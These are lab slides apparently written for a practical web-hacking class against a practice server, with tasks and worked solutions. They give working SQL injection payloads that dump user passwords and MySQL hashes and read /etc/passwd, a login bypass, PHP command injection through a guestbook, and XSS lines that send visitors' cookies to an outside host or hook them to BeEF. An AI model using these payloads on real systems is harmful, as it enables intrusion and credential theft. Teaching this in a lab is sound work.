Practical Hacking Challenges

Radu State
EMANICS - MADYNES
Important notice

• For all actions in this practical lab, we will not
  – Use denial of service attacks
  – Brute force attacks
  – Automated hacking tools
  – Other traffic oriented elsewhere then to the port 80 (no ssh, no telnet, nothing else)
Task 1

• Find all webservers on the local network
  – Do not exit the local network
  – Search only on port 80

• Hint: Use nmap and scan for devices on port 80

• Working time: 5 minutes
Task 2

• Fingerprint the found webserver
  – Which operating system does it work on?
  – What web server is running on it?
  – How many virtual web servers are there configured?
  – Find the “ugly home page” of Radu State on the server.

• Hint
  – Use nmap fingerprinting capabilities
  – Inject faults in the browser in order to generate error messages.

• Working time: 5 Minutes
Task 3

• Configure your local host file in order to map hacking.ajax.yy to the IP address of the web server.

• Hint: Find the hosts file on your machine and add one more entry

• Working Time: 5 Minutes
Task 4

• Go to hacking.ajax.yy/new_user.php
  – Register yourself (username, password, email and URL)
  – Go to hacking.ajax.yy/login.php and do a login
  – Go to hacking.ajax.yy/whoami.php
  – Check that the registered data is right. If everything is OK, you should now be authenticated and authorized as your username.

• Working time: 2 Minutes
Task 5

• Go to hacking.ajax.yy/login.php
  – Analyze how the system is implemented
  – BREAK IT and login as admin, that is when going to hacking.ajax.yy/whoami.php you should see admin

• Hint: Think how a stateless protocol HTTP can emulate a statefull behavior.

• Working time: 15 Minutes
Task 6

• Go to hacking.ajax.yy/login.php
  – Analyze how the system is implemented
  – List all registered users

• Hint: Think how a users registration system is implemented on the backside

• Working time: 30 Minutes
Task 6

• Go to hacking.ajax.yy/secure_search_user.php
  – Analyze how the system is implemented
  – List all registered users and passwords
• Hint: Think how a users registration system is implemented on the backside
• Working time: 20 Minutes
SQL injection

• Try to inject ' and other special SQL characters

• For instance try a username to be ' union select * from userslist where name LIKE '

• Why does it work?
• Original query is: $query = "SELECT * FROM userslist WHERE name LIKE '$_POST[name]%";
SQL injection

• If username is 'union select * from userslist where name LIKE '

Then, we will inject

• Original query is: $query = "SELECT * FROM userslist WHERE name LIKE ' union select * from userslist where name LIKE ''";
Problems

• How to identify the number of columns in the `select *`?
• How to identify the type of each column (text, integer, )?
• How to learn the structure of the database? `userslist`, `name`, `pass`, etc?
Problems

- How to identify the number of columns in the select *? 
  - Try username 'union select 1 from userslist where name LIKE '
  - Try username 'union select 1,1 from userslist where name LIKE '
  - Try username 'union select 1,1,1 from userslist where name LIKE '
  - Try username 'union select 1,1,1,1 from userslist where name LIKE ’ --injection works
How to get the passwords

• Getting the passwords
  – Try username 'union select pass, 1,1,1,1 from userslist where name LIKE ‐‐injection works but we get the users
  – Try username 'union select 1, pass,1,1,1 from userslist where name LIKE ‐‐injection and we get the passwords

• So to have everything:
  – Try username 'union select 1, CONCAT(name, ' : ', pass),1,1,1 from userslist where name LIKE '
Discovering the structure of the database

• What version is it running?
  – Try a user: username 'union select 1,@@version,1,1,1 from userslist where name LIKE '

• What is the current user?
  – Try a username 'union select 1, USER(),1,1,1 from mysql.user -- '

• Getting the hash of her password?
  – Try a username 'union select 1, password,1,1,1 from mysql.user -- '
Discovering the structure of the database

• How to discover all the tables
  Try a user : username 'union select 1, table_name, 1, 1, 1 from INFORMATION_SCHEMA.tables -- '

• What are the columns for table userslist?
  – Try a username 'union select 1, column_name, 1, 1, 1 from INFORMATION_SCHEMA.columns where table_name = 'userslist'-- '

• Printing all the users and password
  – Try a username 'union select 1, CONCAT(name,':', pass), 1, 1, 1 from userslist -- '
Doing really nasty things

- Try a username 'union select 1, CONCAT('0x',HEX('/etc/passwd')),1,1,1 from mysql.user -- '

The result will be 0x2F6574632F706173737764

Try a username 'union select 2, LOAD_FILE(0x2F6574632F706173737764),1,1,1 from mysql.user -- '

You can read any file
Magic Quotes

• Go to hacking.ajax.yy/very_secure_search_user.php and test some attacks

• This very secure version is using the “magic quotes” approach
What else?

• Go to hacking.ajax.yy/login.php

• Try to login directly as user “Radu” without using information from the previous exercise

• Use passwords like ‘, “, ”’ etc
Solution

• If the original query is $query = "SELECT COUNT(*)
  FROM userslist WHERE name = '$_POST[name]' AND
  pass = '$_POST[password]'";

• What happens, if we enter as a password ' OR '1'='1

• Well, we will execute :"SELECT COUNT(*) FROM
  userslist WHERE name = 'Radu' AND pass = ' OR
  '1'='1'";
In real Life

- Error messages might not be available, and timing attacks are needed (for instance delay (50))
- Blindfold SQL injection has to be applied
- Evasion techniques need to be applied in order to bypass custom filtering
Task 7

• Go to hacking.ajax.yy/guestbook.php
  – Analyze the application
  – Find a potential vulnerability and exploit it

  – Working time: 30 Minutes
Exploiting a guestbook part1

• Try to use PHP code as either a username or message text.

• For instance:
  – Message equal to
    ```php
    <?php
    $cmd = ls;
    passthru("$cmd", $return);
    ?>
    ```
Exploiting a guestbook
part2

• Try to use PHP code as either a username or message text.

• For instance:
  – Message equal to
    <?php
    $cmd = « cat /etc/passwd »;
    passthru("$cmd", $return);
    ?>
Exploiting a guestbook part3

• Try to use PHP code as either a username or message text and obtain a complete remote shell

• Solution will be seen at the end of the class
Exploiting a guestbook part4

• Try to inject JavaScript and see what happens

• `<script>alert(“test”);</script>`

  – The script gets reflected back to the user and can be executed by the browser
Exploiting a guestbook
part4

• Try to inject JavaScript and see what happens

• `<meta http-equiv="refresh" content="0;
url=http://www.cnn.com" />

  − All other visitors are silently redirected to
    www.cnn.com : this can be used to redirect to
    0day infected web sites/install spyware, etc
Exploiting a guestbook
part4

• Try to inject JavaScript and see what happens

Defacement of web sites: inject
<IMG SRC="http://hacker.rbn.ru/hacker.jpg">

This is one way to use XSS to perform web site defacement
Exploiting a guestbook

part 4

• Try to inject JavaScript and see what happens

• `<script> window.open("http://www.rbn.ru/cookie.php?cookies="+document.cookie);</script>`

• We can use IFrames to make it completely stealthy
  – The script gets reflected back to the user and can be executed by the browser all the cookies are sent to the remote script
Exploiting a guestbook
part 4

- Meeting Beef: the XSS remote management tool

- `<script src=http://hacker.rbn.ru/beef/hook></script>`

- Very impressive and highly effective tool for scanning/attacking behind firewalls
Exploiting a guestbook
part4

• Meeting XSS Proxy : the XSS man in the middle tool

• `<script src=http://hacker.rbn.ru/beef/hook><\script>`

• Very impressive and highly effective tool for scanning/attacking behind firewalls
What about the user registration system?

• Remember that show_users.php displays all the users

• If we register a new user like toto><script>....</script>?

• Should PHP injection work also?
Obfuscation

- Many PHP and Javascript obfuscation techniques
- Several JavaScript construction are possible (onload event, etc)
- Several encodings
Task 8

- Go to hacking.ajax.yy/upload.php
  - Think on how this can be exploited
  - Run an attack

- Working time: 10 minutes
Solution: Task 8

• Upload a file that can be executed
  – Cmd3.php

• Execute the file

Task 8 : more nasty attacks

- Obtain an interactive shell on the machine

- Time to work 10 minutes
Task 8 (continued)

- Go to the guestbook application and obtain an interactive shell also....
Task 9

- Go to hacking.ajax.yy/secure_upload.php
  - Think on how this can be exploited
  - Run an attack

- Working time: 30 minutes
Task 10

• Go to http://hacking.ajax.yy/news.php
  – Analyze how it is working

  – Exploit the application
Solution : Task 10

• A remote file can be included
  – Virtual web site defacement
  – Remote code execution via command injection
  
Task 11

• Go to hacking.ajax.yy(secretchallenge).html

• Look at the sendmail link
  – Try it out
  – Find all vulnerabilities
Task 12

• Go to hacking.ajax.yy/secretchallenge.html

• Read the first U2 link lyrics and try to hack that application

• Read the second U2 link lyrics and try to hack that application

• Read the third U2 link lyrics and try to hack that application

• Working time : 30 minutes
Task 13

• Obtain a remote shell on the target web server
• Become root and Own that machine

• Working time : 30 minutes
Automated assessment of web applications

• Install wikto from www.sensepost.com

• Run it against the target web server.